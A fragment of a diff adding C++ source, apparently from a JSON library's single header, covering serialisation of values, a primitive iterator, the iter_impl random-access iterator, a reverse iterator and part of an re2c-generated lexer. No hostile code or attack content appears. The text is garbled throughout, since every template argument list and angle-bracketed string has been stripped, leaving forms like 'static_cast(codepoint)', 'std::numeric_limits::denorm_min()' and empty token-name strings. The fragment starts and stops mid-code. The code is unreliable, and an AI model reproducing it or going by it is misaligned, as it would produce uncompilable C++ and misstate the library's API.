numtostr(m_value.number_unsigned).c_str(); + return; + } + + case value_t::number_float: + { + o << numtostr(m_value.number_float).c_str(); + return; + } + + case value_t::discarded: + { + o << ""; + return; + } + + case value_t::null: + { + o << "null"; + return; + } + } + } + + private: + ////////////////////// + // member variables // + ////////////////////// + + /// the type of the current element + value_t m_type = value_t::null; + + /// the value of the current element + json_value m_value = {}; + + + private: + /////////////// + // iterators // + /////////////// + + /*! + @brief an iterator for primitive JSON types + + This class models an iterator for primitive JSON types (boolean, number, + string). It's only purpose is to allow the iterator/const_iterator classes + to "iterate" over primitive values. Internally, the iterator is modeled by + a `difference_type` variable. Value begin_value (`0`) models the begin, + end_value (`1`) models past the end. + */ + class primitive_iterator_t + { + public: + + difference_type get_value() const noexcept + { + return m_it; + } + /// set iterator to a defined beginning + void set_begin() noexcept + { + m_it = begin_value; + } + + /// set iterator to a defined past the end + void set_end() noexcept + { + m_it = end_value; + } + + /// return whether the iterator can be dereferenced + constexpr bool is_begin() const noexcept + { + return (m_it == begin_value); + } + + /// return whether the iterator is at end + constexpr bool is_end() const noexcept + { + return (m_it == end_value); + } + + friend constexpr bool operator==(primitive_iterator_t lhs, primitive_iterator_t rhs) noexcept + { + return lhs.m_it == rhs.m_it; + } + + friend constexpr bool operator!=(primitive_iterator_t lhs, primitive_iterator_t rhs) noexcept + { + return !(lhs == rhs); + } + + friend constexpr bool operator<(primitive_iterator_t lhs, primitive_iterator_t rhs) noexcept + { + return lhs.m_it < rhs.m_it; + } + + friend constexpr bool operator<=(primitive_iterator_t lhs, primitive_iterator_t rhs) noexcept + { + return lhs.m_it <= rhs.m_it; + } + + friend constexpr bool operator>(primitive_iterator_t lhs, primitive_iterator_t rhs) noexcept + { + return lhs.m_it > rhs.m_it; + } + + friend constexpr bool operator>=(primitive_iterator_t lhs, primitive_iterator_t rhs) noexcept + { + return lhs.m_it >= rhs.m_it; + } + + primitive_iterator_t operator+(difference_type i) + { + auto result = *this; + result += i; + return result; + } + + friend constexpr difference_type operator-(primitive_iterator_t lhs, primitive_iterator_t rhs) noexcept + { + return lhs.m_it - rhs.m_it; + } + + friend std::ostream& operator<<(std::ostream& os, primitive_iterator_t it) + { + return os << it.m_it; + } + + primitive_iterator_t& operator++() + { + ++m_it; + return *this; + } + + primitive_iterator_t operator++(int) + { + auto result = *this; + m_it++; + return result; + } + + primitive_iterator_t& operator--() + { + --m_it; + return *this; + } + + primitive_iterator_t operator--(int) + { + auto result = *this; + m_it--; + return result; + } + + primitive_iterator_t& operator+=(difference_type n) + { + m_it += n; + return *this; + } + + primitive_iterator_t& operator-=(difference_type n) + { + m_it -= n; + return *this; + } + + private: + static constexpr difference_type begin_value = 0; + static constexpr difference_type end_value = begin_value + 1; + + /// iterator as signed integer type + difference_type m_it = std::numeric_limits::denorm_min(); + }; + + /*! + @brief an iterator value + + @note This structure could easily be a union, but MSVC currently does not + allow unions members with complex constructors, see + https://github.com/nlohmann/json/pull/105. + */ + struct internal_iterator + { + /// iterator for JSON objects + typename object_t::iterator object_iterator; + /// iterator for JSON arrays + typename array_t::iterator array_iterator; + /// generic iterator for all other types + primitive_iterator_t primitive_iterator; + + /// create an uninitialized internal_iterator + internal_iterator() noexcept + : object_iterator(), array_iterator(), primitive_iterator() + {} + }; + + /// proxy class for the iterator_wrapper functions + template + class iteration_proxy + { + private: + /// helper class for iteration + class iteration_proxy_internal + { + private: + /// the iterator + IteratorType anchor; + /// an index for arrays (used to create key names) + size_t array_index = 0; + + public: + explicit iteration_proxy_internal(IteratorType it) noexcept + : anchor(it) + {} + + /// dereference operator (needed for range-based for) + iteration_proxy_internal& operator*() + { + return *this; + } + + /// increment operator (needed for range-based for) + iteration_proxy_internal& operator++() + { + ++anchor; + ++array_index; + + return *this; + } + + /// inequality operator (needed for range-based for) + bool operator!= (const iteration_proxy_internal& o) const + { + return anchor != o.anchor; + } + + /// return key of the iterator + typename basic_json::string_t key() const + { + assert(anchor.m_object != nullptr); + + switch (anchor.m_object->type()) + { + // use integer array index as key + case value_t::array: + { + return std::to_string(array_index); + } + + // use key from the object + case value_t::object: + { + return anchor.key(); + } + + // use an empty key for all primitive types + default: + { + return ""; + } + } + } + + /// return value of the iterator + typename IteratorType::reference value() const + { + return anchor.value(); + } + }; + + /// the container to iterate + typename IteratorType::reference container; + + public: + /// construct iteration proxy from a container + explicit iteration_proxy(typename IteratorType::reference cont) + : container(cont) + {} + + /// return iterator begin (needed for range-based for) + iteration_proxy_internal begin() noexcept + { + return iteration_proxy_internal(container.begin()); + } + + /// return iterator end (needed for range-based for) + iteration_proxy_internal end() noexcept + { + return iteration_proxy_internal(container.end()); + } + }; + + public: + /*! + @brief a template for a random access iterator for the @ref basic_json class + + This class implements a both iterators (iterator and const_iterator) for the + @ref basic_json class. + + @note An iterator is called *initialized* when a pointer to a JSON value + has been set (e.g., by a constructor or a copy assignment). If the + iterator is default-constructed, it is *uninitialized* and most + methods are undefined. **The library uses assertions to detect calls + on uninitialized iterators.** + + @requirement The class satisfies the following concept requirements: + - [RandomAccessIterator](http://en.cppreference.com/w/cpp/concept/RandomAccessIterator): + The iterator that can be moved to point (forward and backward) to any + element in constant time. + + @since version 1.0.0, simplified in version 2.0.9 + */ + template + class iter_impl : public std::iterator + { + /// allow basic_json to access private members + friend class basic_json; + + // make sure U is basic_json or const basic_json + static_assert(std::is_same::value + or std::is_same::value, + "iter_impl only accepts (const) basic_json"); + + public: + /// the type of the values when the iterator is dereferenced + using value_type = typename basic_json::value_type; + /// a type to represent differences between iterators + using difference_type = typename basic_json::difference_type; + /// defines a pointer to the type iterated over (value_type) + using pointer = typename std::conditional::value, + typename basic_json::const_pointer, + typename basic_json::pointer>::type; + /// defines a reference to the type iterated over (value_type) + using reference = typename std::conditional::value, + typename basic_json::const_reference, + typename basic_json::reference>::type; + /// the category of the iterator + using iterator_category = std::bidirectional_iterator_tag; + + /// default constructor + iter_impl() = default; + + /*! + @brief constructor for a given JSON instance + @param[in] object pointer to a JSON object for this iterator + @pre object != nullptr + @post The iterator is initialized; i.e. `m_object != nullptr`. + */ + explicit iter_impl(pointer object) noexcept + : m_object(object) + { + assert(m_object != nullptr); + + switch (m_object->m_type) + { + case basic_json::value_t::object: + { + m_it.object_iterator = typename object_t::iterator(); + break; + } + + case basic_json::value_t::array: + { + m_it.array_iterator = typename array_t::iterator(); + break; + } + + default: + { + m_it.primitive_iterator = primitive_iterator_t(); + break; + } + } + } + + /* + Use operator `const_iterator` instead of `const_iterator(const iterator& + other) noexcept` to avoid two class definitions for @ref iterator and + @ref const_iterator. + + This function is only called if this class is an @ref iterator. If this + class is a @ref const_iterator this function is not called. + */ + operator const_iterator() const + { + const_iterator ret; + + if (m_object) + { + ret.m_object = m_object; + ret.m_it = m_it; + } + + return ret; + } + + /*! + @brief copy constructor + @param[in] other iterator to copy from + @note It is not checked whether @a other is initialized. + */ + iter_impl(const iter_impl& other) noexcept + : m_object(other.m_object), m_it(other.m_it) + {} + + /*! + @brief copy assignment + @param[in,out] other iterator to copy from + @note It is not checked whether @a other is initialized. + */ + iter_impl& operator=(iter_impl other) noexcept( + std::is_nothrow_move_constructible::value and + std::is_nothrow_move_assignable::value and + std::is_nothrow_move_constructible::value and + std::is_nothrow_move_assignable::value + ) + { + std::swap(m_object, other.m_object); + std::swap(m_it, other.m_it); + return *this; + } + + private: + /*! + @brief set the iterator to the first value + @pre The iterator is initialized; i.e. `m_object != nullptr`. + */ + void set_begin() noexcept + { + assert(m_object != nullptr); + + switch (m_object->m_type) + { + case basic_json::value_t::object: + { + m_it.object_iterator = m_object->m_value.object->begin(); + break; + } + + case basic_json::value_t::array: + { + m_it.array_iterator = m_object->m_value.array->begin(); + break; + } + + case basic_json::value_t::null: + { + // set to end so begin()==end() is true: null is empty + m_it.primitive_iterator.set_end(); + break; + } + + default: + { + m_it.primitive_iterator.set_begin(); + break; + } + } + } + + /*! + @brief set the iterator past the last value + @pre The iterator is initialized; i.e. `m_object != nullptr`. + */ + void set_end() noexcept + { + assert(m_object != nullptr); + + switch (m_object->m_type) + { + case basic_json::value_t::object: + { + m_it.object_iterator = m_object->m_value.object->end(); + break; + } + + case basic_json::value_t::array: + { + m_it.array_iterator = m_object->m_value.array->end(); + break; + } + + default: + { + m_it.primitive_iterator.set_end(); + break; + } + } + } + + public: + /*! + @brief return a reference to the value pointed to by the iterator + @pre The iterator is initialized; i.e. `m_object != nullptr`. + */ + reference operator*() const + { + assert(m_object != nullptr); + + switch (m_object->m_type) + { + case basic_json::value_t::object: + { + assert(m_it.object_iterator != m_object->m_value.object->end()); + return m_it.object_iterator->second; + } + + case basic_json::value_t::array: + { + assert(m_it.array_iterator != m_object->m_value.array->end()); + return *m_it.array_iterator; + } + + case basic_json::value_t::null: + { + JSON_THROW(std::out_of_range("cannot get value")); + } + + default: + { + if (m_it.primitive_iterator.is_begin()) + { + return *m_object; + } + + JSON_THROW(std::out_of_range("cannot get value")); + } + } + } + + /*! + @brief dereference the iterator + @pre The iterator is initialized; i.e. `m_object != nullptr`. + */ + pointer operator->() const + { + assert(m_object != nullptr); + + switch (m_object->m_type) + { + case basic_json::value_t::object: + { + assert(m_it.object_iterator != m_object->m_value.object->end()); + return &(m_it.object_iterator->second); + } + + case basic_json::value_t::array: + { + assert(m_it.array_iterator != m_object->m_value.array->end()); + return &*m_it.array_iterator; + } + + default: + { + if (m_it.primitive_iterator.is_begin()) + { + return m_object; + } + + JSON_THROW(std::out_of_range("cannot get value")); + } + } + } + + /*! + @brief post-increment (it++) + @pre The iterator is initialized; i.e. `m_object != nullptr`. + */ + iter_impl operator++(int) + { + auto result = *this; + ++(*this); + return result; + } + + /*! + @brief pre-increment (++it) + @pre The iterator is initialized; i.e. `m_object != nullptr`. + */ + iter_impl& operator++() + { + assert(m_object != nullptr); + + switch (m_object->m_type) + { + case basic_json::value_t::object: + { + std::advance(m_it.object_iterator, 1); + break; + } + + case basic_json::value_t::array: + { + std::advance(m_it.array_iterator, 1); + break; + } + + default: + { + ++m_it.primitive_iterator; + break; + } + } + + return *this; + } + + /*! + @brief post-decrement (it--) + @pre The iterator is initialized; i.e. `m_object != nullptr`. + */ + iter_impl operator--(int) + { + auto result = *this; + --(*this); + return result; + } + + /*! + @brief pre-decrement (--it) + @pre The iterator is initialized; i.e. `m_object != nullptr`. + */ + iter_impl& operator--() + { + assert(m_object != nullptr); + + switch (m_object->m_type) + { + case basic_json::value_t::object: + { + std::advance(m_it.object_iterator, -1); + break; + } + + case basic_json::value_t::array: + { + std::advance(m_it.array_iterator, -1); + break; + } + + default: + { + --m_it.primitive_iterator; + break; + } + } + + return *this; + } + + /*! + @brief comparison: equal + @pre The iterator is initialized; i.e. `m_object != nullptr`. + */ + bool operator==(const iter_impl& other) const + { + // if objects are not the same, the comparison is undefined + if (m_object != other.m_object) + { + JSON_THROW(std::domain_error("cannot compare iterators of different containers")); + } + + assert(m_object != nullptr); + + switch (m_object->m_type) + { + case basic_json::value_t::object: + { + return (m_it.object_iterator == other.m_it.object_iterator); + } + + case basic_json::value_t::array: + { + return (m_it.array_iterator == other.m_it.array_iterator); + } + + default: + { + return (m_it.primitive_iterator == other.m_it.primitive_iterator); + } + } + } + + /*! + @brief comparison: not equal + @pre The iterator is initialized; i.e. `m_object != nullptr`. + */ + bool operator!=(const iter_impl& other) const + { + return not operator==(other); + } + + /*! + @brief comparison: smaller + @pre The iterator is initialized; i.e. `m_object != nullptr`. + */ + bool operator<(const iter_impl& other) const + { + // if objects are not the same, the comparison is undefined + if (m_object != other.m_object) + { + JSON_THROW(std::domain_error("cannot compare iterators of different containers")); + } + + assert(m_object != nullptr); + + switch (m_object->m_type) + { + case basic_json::value_t::object: + { + JSON_THROW(std::domain_error("cannot compare order of object iterators")); + } + + case basic_json::value_t::array: + { + return (m_it.array_iterator < other.m_it.array_iterator); + } + + default: + { + return (m_it.primitive_iterator < other.m_it.primitive_iterator); + } + } + } + + /*! + @brief comparison: less than or equal + @pre The iterator is initialized; i.e. `m_object != nullptr`. + */ + bool operator<=(const iter_impl& other) const + { + return not other.operator < (*this); + } + + /*! + @brief comparison: greater than + @pre The iterator is initialized; i.e. `m_object != nullptr`. + */ + bool operator>(const iter_impl& other) const + { + return not operator<=(other); + } + + /*! + @brief comparison: greater than or equal + @pre The iterator is initialized; i.e. `m_object != nullptr`. + */ + bool operator>=(const iter_impl& other) const + { + return not operator<(other); + } + + /*! + @brief add to iterator + @pre The iterator is initialized; i.e. `m_object != nullptr`. + */ + iter_impl& operator+=(difference_type i) + { + assert(m_object != nullptr); + + switch (m_object->m_type) + { + case basic_json::value_t::object: + { + JSON_THROW(std::domain_error("cannot use offsets with object iterators")); + } + + case basic_json::value_t::array: + { + std::advance(m_it.array_iterator, i); + break; + } + + default: + { + m_it.primitive_iterator += i; + break; + } + } + + return *this; + } + + /*! + @brief subtract from iterator + @pre The iterator is initialized; i.e. `m_object != nullptr`. + */ + iter_impl& operator-=(difference_type i) + { + return operator+=(-i); + } + + /*! + @brief add to iterator + @pre The iterator is initialized; i.e. `m_object != nullptr`. + */ + iter_impl operator+(difference_type i) + { + auto result = *this; + result += i; + return result; + } + + /*! + @brief subtract from iterator + @pre The iterator is initialized; i.e. `m_object != nullptr`. + */ + iter_impl operator-(difference_type i) + { + auto result = *this; + result -= i; + return result; + } + + /*! + @brief return difference + @pre The iterator is initialized; i.e. `m_object != nullptr`. + */ + difference_type operator-(const iter_impl& other) const + { + assert(m_object != nullptr); + + switch (m_object->m_type) + { + case basic_json::value_t::object: + { + JSON_THROW(std::domain_error("cannot use offsets with object iterators")); + } + + case basic_json::value_t::array: + { + return m_it.array_iterator - other.m_it.array_iterator; + } + + default: + { + return m_it.primitive_iterator - other.m_it.primitive_iterator; + } + } + } + + /*! + @brief access to successor + @pre The iterator is initialized; i.e. `m_object != nullptr`. + */ + reference operator[](difference_type n) const + { + assert(m_object != nullptr); + + switch (m_object->m_type) + { + case basic_json::value_t::object: + { + JSON_THROW(std::domain_error("cannot use operator[] for object iterators")); + } + + case basic_json::value_t::array: + { + return *std::next(m_it.array_iterator, n); + } + + case basic_json::value_t::null: + { + JSON_THROW(std::out_of_range("cannot get value")); + } + + default: + { + if (m_it.primitive_iterator.get_value() == -n) + { + return *m_object; + } + + JSON_THROW(std::out_of_range("cannot get value")); + } + } + } + + /*! + @brief return the key of an object iterator + @pre The iterator is initialized; i.e. `m_object != nullptr`. + */ + typename object_t::key_type key() const + { + assert(m_object != nullptr); + + if (m_object->is_object()) + { + return m_it.object_iterator->first; + } + + JSON_THROW(std::domain_error("cannot use key() for non-object iterators")); + } + + /*! + @brief return the value of an iterator + @pre The iterator is initialized; i.e. `m_object != nullptr`. + */ + reference value() const + { + return operator*(); + } + + private: + /// associated JSON instance + pointer m_object = nullptr; + /// the actual iterator of the associated instance + internal_iterator m_it = internal_iterator(); + }; + + /*! + @brief a template for a reverse iterator class + + @tparam Base the base iterator type to reverse. Valid types are @ref + iterator (to create @ref reverse_iterator) and @ref const_iterator (to + create @ref const_reverse_iterator). + + @requirement The class satisfies the following concept requirements: + - [RandomAccessIterator](http://en.cppreference.com/w/cpp/concept/RandomAccessIterator): + The iterator that can be moved to point (forward and backward) to any + element in constant time. + - [OutputIterator](http://en.cppreference.com/w/cpp/concept/OutputIterator): + It is possible to write to the pointed-to element (only if @a Base is + @ref iterator). + + @since version 1.0.0 + */ + template + class json_reverse_iterator : public std::reverse_iterator + { + public: + /// shortcut to the reverse iterator adaptor + using base_iterator = std::reverse_iterator; + /// the reference type for the pointed-to element + using reference = typename Base::reference; + + /// create reverse iterator from iterator + json_reverse_iterator(const typename base_iterator::iterator_type& it) noexcept + : base_iterator(it) + {} + + /// create reverse iterator from base class + json_reverse_iterator(const base_iterator& it) noexcept + : base_iterator(it) + {} + + /// post-increment (it++) + json_reverse_iterator operator++(int) + { + return base_iterator::operator++(1); + } + + /// pre-increment (++it) + json_reverse_iterator& operator++() + { + base_iterator::operator++(); + return *this; + } + + /// post-decrement (it--) + json_reverse_iterator operator--(int) + { + return base_iterator::operator--(1); + } + + /// pre-decrement (--it) + json_reverse_iterator& operator--() + { + base_iterator::operator--(); + return *this; + } + + /// add to iterator + json_reverse_iterator& operator+=(difference_type i) + { + base_iterator::operator+=(i); + return *this; + } + + /// add to iterator + json_reverse_iterator operator+(difference_type i) const + { + auto result = *this; + result += i; + return result; + } + + /// subtract from iterator + json_reverse_iterator operator-(difference_type i) const + { + auto result = *this; + result -= i; + return result; + } + + /// return difference + difference_type operator-(const json_reverse_iterator& other) const + { + return this->base() - other.base(); + } + + /// access to successor + reference operator[](difference_type n) const + { + return *(this->operator+(n)); + } + + /// return the key of an object iterator + typename object_t::key_type key() const + { + auto it = --this->base(); + return it.key(); + } + + /// return the value of an iterator + reference value() const + { + auto it = --this->base(); + return it.operator * (); + } + }; + + + private: + ////////////////////// + // lexer and parser // + ////////////////////// + + /*! + @brief lexical analysis + + This class organizes the lexical analysis during JSON deserialization. The + core of it is a scanner generated by [re2c](http://re2c.org) that + processes a buffer and recognizes tokens according to RFC 7159. + */ + class lexer + { + public: + /// token types for the parser + enum class token_type + { + uninitialized, ///< indicating the scanner is uninitialized + literal_true, ///< the `true` literal + literal_false, ///< the `false` literal + literal_null, ///< the `null` literal + value_string, ///< a string -- use get_string() for actual value + value_unsigned, ///< an unsigned integer -- use get_number() for actual value + value_integer, ///< a signed integer -- use get_number() for actual value + value_float, ///< an floating point number -- use get_number() for actual value + begin_array, ///< the character for array begin `[` + begin_object, ///< the character for object begin `{` + end_array, ///< the character for array end `]` + end_object, ///< the character for object end `}` + name_separator, ///< the name separator `:` + value_separator, ///< the value separator `,` + parse_error, ///< indicating a parse error + end_of_input ///< indicating the end of the input buffer + }; + + /// the char type to use in the lexer + using lexer_char_t = unsigned char; + + /// a lexer from a buffer with given length + lexer(const lexer_char_t* buff, const size_t len) noexcept + : m_content(buff) + { + assert(m_content != nullptr); + m_start = m_cursor = m_content; + m_limit = m_content + len; + } + + /// a lexer from an input stream + explicit lexer(std::istream& s) + : m_stream(&s), m_line_buffer() + { + // immediately abort if stream is erroneous + if (s.fail()) + { + JSON_THROW(std::invalid_argument("stream error")); + } + + // fill buffer + fill_line_buffer(); + + // skip UTF-8 byte-order mark + if (m_line_buffer.size() >= 3 and m_line_buffer.substr(0, 3) == "\xEF\xBB\xBF") + { + m_line_buffer[0] = ' '; + m_line_buffer[1] = ' '; + m_line_buffer[2] = ' '; + } + } + + // switch off unwanted functions (due to pointer members) + lexer() = delete; + lexer(const lexer&) = delete; + lexer operator=(const lexer&) = delete; + + /*! + @brief create a string from one or two Unicode code points + + There are two cases: (1) @a codepoint1 is in the Basic Multilingual + Plane (U+0000 through U+FFFF) and @a codepoint2 is 0, or (2) + @a codepoint1 and @a codepoint2 are a UTF-16 surrogate pair to + represent a code point above U+FFFF. + + @param[in] codepoint1 the code point (can be high surrogate) + @param[in] codepoint2 the code point (can be low surrogate or 0) + + @return string representation of the code point; the length of the + result string is between 1 and 4 characters. + + @throw std::out_of_range if code point is > 0x10ffff; example: `"code + points above 0x10FFFF are invalid"` + @throw std::invalid_argument if the low surrogate is invalid; example: + `""missing or wrong low surrogate""` + + @complexity Constant. + + @see + */ + static string_t to_unicode(const std::size_t codepoint1, + const std::size_t codepoint2 = 0) + { + // calculate the code point from the given code points + std::size_t codepoint = codepoint1; + + // check if codepoint1 is a high surrogate + if (codepoint1 >= 0xD800 and codepoint1 <= 0xDBFF) + { + // check if codepoint2 is a low surrogate + if (codepoint2 >= 0xDC00 and codepoint2 <= 0xDFFF) + { + codepoint = + // high surrogate occupies the most significant 22 bits + (codepoint1 << 10) + // low surrogate occupies the least significant 15 bits + + codepoint2 + // there is still the 0xD800, 0xDC00 and 0x10000 noise + // in the result so we have to subtract with: + // (0xD800 << 10) + DC00 - 0x10000 = 0x35FDC00 + - 0x35FDC00; + } + else + { + JSON_THROW(std::invalid_argument("missing or wrong low surrogate")); + } + } + + string_t result; + + if (codepoint < 0x80) + { + // 1-byte characters: 0xxxxxxx (ASCII) + result.append(1, static_cast(codepoint)); + } + else if (codepoint <= 0x7ff) + { + // 2-byte characters: 110xxxxx 10xxxxxx + result.append(1, static_cast(0xC0 | ((codepoint >> 6) & 0x1F))); + result.append(1, static_cast(0x80 | (codepoint & 0x3F))); + } + else if (codepoint <= 0xffff) + { + // 3-byte characters: 1110xxxx 10xxxxxx 10xxxxxx + result.append(1, static_cast(0xE0 | ((codepoint >> 12) & 0x0F))); + result.append(1, static_cast(0x80 | ((codepoint >> 6) & 0x3F))); + result.append(1, static_cast(0x80 | (codepoint & 0x3F))); + } + else if (codepoint <= 0x10ffff) + { + // 4-byte characters: 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx + result.append(1, static_cast(0xF0 | ((codepoint >> 18) & 0x07))); + result.append(1, static_cast(0x80 | ((codepoint >> 12) & 0x3F))); + result.append(1, static_cast(0x80 | ((codepoint >> 6) & 0x3F))); + result.append(1, static_cast(0x80 | (codepoint & 0x3F))); + } + else + { + JSON_THROW(std::out_of_range("code points above 0x10FFFF are invalid")); + } + + return result; + } + + /// return name of values of type token_type (only used for errors) + static std::string token_type_name(const token_type t) + { + switch (t) + { + case token_type::uninitialized: + return ""; + case token_type::literal_true: + return "true literal"; + case token_type::literal_false: + return "false literal"; + case token_type::literal_null: + return "null literal"; + case token_type::value_string: + return "string literal"; + case lexer::token_type::value_unsigned: + case lexer::token_type::value_integer: + case lexer::token_type::value_float: + return "number literal"; + case token_type::begin_array: + return "'['"; + case token_type::begin_object: + return "'{'"; + case token_type::end_array: + return "']'"; + case token_type::end_object: + return "'}'"; + case token_type::name_separator: + return "':'"; + case token_type::value_separator: + return "','"; + case token_type::parse_error: + return ""; + case token_type::end_of_input: + return "end of input"; + default: + { + // catch non-enum values + return "unknown token"; // LCOV_EXCL_LINE + } + } + } + + /*! + This function implements a scanner for JSON. It is specified using + regular expressions that try to follow RFC 7159 as close as possible. + These regular expressions are then translated into a minimized + deterministic finite automaton (DFA) by the tool + [re2c](http://re2c.org). As a result, the translated code for this + function consists of a large block of code with `goto` jumps. + + @return the class of the next token read from the buffer + + @complexity Linear in the length of the input.\n + + Proposition: The loop below will always terminate for finite input.\n + + Proof (by contradiction): Assume a finite input. To loop forever, the + loop must never hit code with a `break` statement. The only code + snippets without a `break` statement are the continue statements for + whitespace and byte-order-marks. To loop forever, the input must be an + infinite sequence of whitespace or byte-order-marks. This contradicts + the assumption of finite input, q.e.d. + */ + token_type scan() + { + while (true) + { + // pointer for backtracking information + m_marker = nullptr; + + // remember the begin of the token + m_start = m_cursor; + assert(m_start != nullptr); + + + { + lexer_char_t yych; + unsigned int yyaccept = 0; + static const unsigned char yybm[] = + { + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 32, 32, 0, 0, 32, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 160, 128, 0, 128, 128, 128, 128, 128, + 128, 128, 128, 128, 128, 128, 128, 128, + 192, 192, 192, 192, 192, 192, 192, 192, + 192, 192, 128, 128, 128, 128, 128, 128, + 128, 128, 128, 128, 128, 128, 128, 128, + 128, 128, 128, 128, 128, 128, 128, 128, + 128, 128, 128, 128, 128, 128, 128, 128, + 128, 128, 128, 128, 0, 128, 128, 128, + 128, 128, 128, 128, 128, 128, 128, 128, + 128, 128, 128, 128, 128, 128, 128, 128, + 128, 128, 128, 128, 128, 128, 128, 128, + 128, 128, 128, 128, 128, 128, 128, 128, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + }; + if ((m_limit - m_cursor) < 5) + { + fill_line_buffer(5); // LCOV_EXCL_LINE + } + yych = *m_cursor; + if (yybm[0 + yych] & 32) + { + goto basic_json_parser_6; + } + if (yych <= '[') + { + if (yych <= '-') + { + if (yych <= '"') + { + if (yych <= 0x00) + { + goto basic_json_parser_2; + } + if (yych <= '!') + { + goto basic_json_parser_4; + } + goto basic_json_parser_9; + } + else + { + if (yych <= '+') + { + goto basic_json_parser_4; + } + if (yych <= ',') + { + goto basic_json_parser_10; + } + goto basic_json_parser_12; + } + } + else + { + if (yych <= '9') + { + if (yych <= '/') + { + goto basic_json_parser_4; + } + if (yych <= '0') + { + goto basic_json_parser_13; + } + goto basic_json_parser_15; + } + else + { + if (yych <= ':') + { + goto basic_json_parser_17; + } + if (yych <= 'Z') + { + goto basic_json_parser_4; + } + goto basic_json_parser_19; + } + } + } + else + { + if (yych <= 'n') + { + if (yych <= 'e') + { + if (yych == ']') + { + goto basic_json_parser_21; + } + goto basic_json_parser_4; + } + else + { + if (yych <= 'f') + { + goto basic_json_parser_23; + } + if (yych <= 'm') + { + goto basic_json_parser_4; + } + goto basic_json_parser_24; + } + } + else + { + if (yych <= 'z') + { + if (yych == 't') + { + goto basic_json_parser_25; + } + goto basic_json_parser_4; + } + else + { + if (yych <= '{') + { + goto basic_json_parser_26; + } + if (yych == '}') + { + goto basic_json_parser_28; + } + goto basic_json_parser_4; + } + } + } +basic_json_parser_2: + ++m_cursor; + { + last_token_type = token_type::end_of_input; + break; + } +basic_json_parser_4: + ++m_cursor; +basic_json_parser_5: + { + last_token_type = token_type::parse_error; + break; + } +basic_json_parser_6: + ++m_cursor; + if (m_limit <= m_cursor) + { + fill_line_buffer(1); // LCOV_EXCL_LINE + } + yych = *m_cursor; + if (yybm[0 + yych] & 32) + { + goto basic_json_parser_6; + } + { + continue; + } +basic_json_parser_9: + yyaccept = 0; + yych = *(m_marker = ++m_cursor); + if (yych <= 0x1F) + { + goto basic_json_parser_5; + } + if (yych <= 0x7F) + { + goto basic_json_parser_31; + } + if (yych <= 0xC1) + { + goto basic_json_parser_5; + } + if (yych <= 0xF4) + { + goto basic_json_parser_31; + } + goto basic_json_parser_5; +basic_json_parser_10: + ++m_cursor; + { + last_token_type = token_type::value_separator; + break; + } +basic_json_parser_12: + yych = *++m_cursor; + if (yych <= '/') + { + goto basic_json_parser_5; + } + if (yych <= '0') + { + goto basic_json_parser_43; + } + if (yych <= '9') + { + goto basic_json_parser_45; + } + goto basic_json_parser_5; +basic_json_parser_13: + yyaccept = 1; + yych = *(m_marker = ++m_cursor); + if (yych <= '9') + { + if (yych == '.') + { + goto basic_json_parser_47; + } + if (yych >= '0') + { + goto basic_json_parser_48; + } + } + else + { + if (yych <= 'E') + { + if (yych >= 'E') + { + goto basic_json_parser_51; + } + } + else + { + if (yych == 'e') + { + goto basic_json_parser_51; + } + } + } +basic_json_parser_14: + { + last_token_type = token_type::value_unsigned; + break; + } +basic_json_parser_15: + yyaccept = 1; + m_marker = ++m_cursor; + if ((m_limit - m_cursor) < 3) + { + fill_line_buffer(3); // LCOV_EXCL_LINE + } + yych = *m_cursor; + if (yybm[0 + yych] & 64) + { + goto basic_json_parser_15; + } + if (yych <= 'D') + { + if (yych == '.') + { + goto basic_json_parser_47; + } + goto basic_json_parser_14; + } + else + { + if (yych <= 'E') + { + goto basic_json_parser_51; + } + if (yych == 'e') + { + goto basic_json_parser_51; + } + goto basic_json_parser_14; + } +basic_json_parser_17: + ++m_cursor; + { + last_token_type = token_type::name_separator; + break; + } +basic_json_parser_19: + ++m_cursor; + { + last_token_type = token_type::begin_array; + break; + } +basic_json_parser_21: + ++m_cursor; + { + last_token_type = token_type::end_array; + break; + } +basic_json_parser_23: + yyaccept = 0; + yych = *(m_marker = ++m_cursor); + if (yych == 'a') + { + goto basic_json_parser_52; + } + goto basic_json_parser_5; +basic_json_parser_24: + yyaccept = 0; + yych = *(m_marker = ++m_cursor); + if (yych == 'u') + { + goto basic_json_parser_53; + } + goto basic_json_parser_5; +basic_json_parser_25: + yyaccept = 0; + yych = *(m_marker = ++m_cursor); + if (yych == 'r') + { + goto basic_json_parser_54; + } + goto basic_json_parser_5; +basic_json_parser_26: + ++m_cursor; + { + last_token_type = token_type::begin_object; + break; + } +basic_json_parser_28: + ++m_cursor; + { + last_token_type = token_type::end_object; + break; + } +basic_json_parser_30: + ++m_cursor; + if (m_limit <= m_cursor) + { + fill_line_buffer(1); // LCOV_EXCL_LINE + } + yych = *m_cursor; +basic_json_parser_31: + if (yybm[0 + yych] & 128) + { + goto basic_json_parser_30; + } + if (yych <= 0xE0) + { + if (yych <= '\\') + { + if (yych <= 0x1F) + { + goto basic_json_parser_32; + } + if (yych <= '"') + { + goto basic_json_parser_33; + } + goto basic_json_parser_35; + } + else + { + if (yych <= 0xC1) + { + goto basic_json_parser_32; + } + if (yych <= 0xDF) + { + goto basic_json_parser_36; + } + goto basic_json_parser_37; + } + } + else + { + if (yych <= 0xEF) + { + if (yych == 0xED) + { + goto basic_json_parser_39; + } + goto basic_json_parser_38; + } + else + { + if (yych <= 0xF0) + { + goto basic_json_parser_40; + } + if (yych <= 0xF3) + { + goto basic_json_parser_41; + } + if (yych <= 0xF4) + { + goto basic_json_parser_42; + } + } + } +basic_json_parser_32: + m_cursor = m_marker; + if (yyaccept <= 1) + { + if (yyaccept == 0) 